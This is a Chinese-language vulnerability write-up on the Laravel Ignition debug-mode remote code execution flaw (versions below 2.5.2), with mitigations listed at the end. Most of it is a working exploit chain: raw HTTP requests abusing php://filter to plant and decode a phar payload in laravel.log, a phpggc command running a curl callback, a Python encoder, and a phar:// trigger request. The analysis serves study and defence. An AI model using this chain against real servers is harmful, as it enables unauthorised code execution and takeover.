Laravel Debug RCE分析
字数 1092 2025-08-06 08:35:19
Laravel Debug RCE漏洞分析与利用
漏洞概述
本漏洞影响Ignition组件版本<2.5.2的Laravel框架,允许攻击者在开启调试模式的情况下实现远程代码执行(RCE)。漏洞源于Ignition组件中的Solution执行机制存在缺陷,结合PHP的phar反序列化漏洞实现攻击。
漏洞成因
关键组件
- Ignition:Laravel的错误页面组件
- Solution:Ignition提供的解决方案机制,用于修复常见问题
漏洞点分析
补丁位于Ignition的一个Solution子类中,通过分析Igniter源码发现存在ExecuteSolution路由可以动态执行Solution。
漏洞利用路由
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=abc
漏洞代码逻辑
$output = file_get_contents($parameters['viewFile']);
// 对$output做处理
file_put_contents($parameters['viewFile'], $output);
利用原理
核心思路
- 利用
file_get_contents()和file_put_contents()的文件操作功能 - 通过控制
viewFile参数实现phar反序列化攻击 - 利用Laravel日志文件作为攻击媒介
关键技术点
- phar反序列化:需要构造一个干净的phar文件
- 日志污染:通过请求不存在的文件将payload写入日志
- 编码转换:使用php://filter过滤器清理日志中的干扰字符
详细利用步骤
Step 0: 清除原log中的字符
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 217
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log
Step 1: 发送偶数文件名的请求
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=11
Step 2: 发送POC
- 生成phar payload:
./phpggc monolog/rce1 system "curl http://ip/success" --phar phar -o php://output | base64
- 使用Python脚本转换payload:
from binascii import b2a_hex
payload = "xxx" # base64 payload
armedPayload = ''
for i in payload:
i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper()
armedPayload += i+"=00"
print("123456789012345"+armedPayload)
- 发送请求:
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 2401
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=xxxxx
Step 3: 清空垃圾字符,解码成phar文件内容
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 310
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
Step 4: 触发phar反序列化
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=phar:///xxxx/laravel/storage/logs/laravel.log
技术难点与解决方案
-
日志污染问题:
- Laravel日志会记录三次payload
- 超过15字符会被截断为"..."
- 解决方案:在payload前填充15个字符
-
字符编码问题:
- base64中的"="和"+"需要特殊处理
- 解决方案:将"="替换为"=3D","+"替换为"=2B"
-
字节数奇偶问题:
- 日志文件字节数为奇数会导致转换失败
- 解决方案:预先发送偶数文件名的请求
-
phar文件构造:
- 需要构造干净的phar文件
- 解决方案:使用phpggc工具生成payload
防御措施
- 升级Ignition到2.5.2或更高版本
- 生产环境关闭调试模式
- 限制对/_ignition/路由的访问
- 监控日志文件异常写入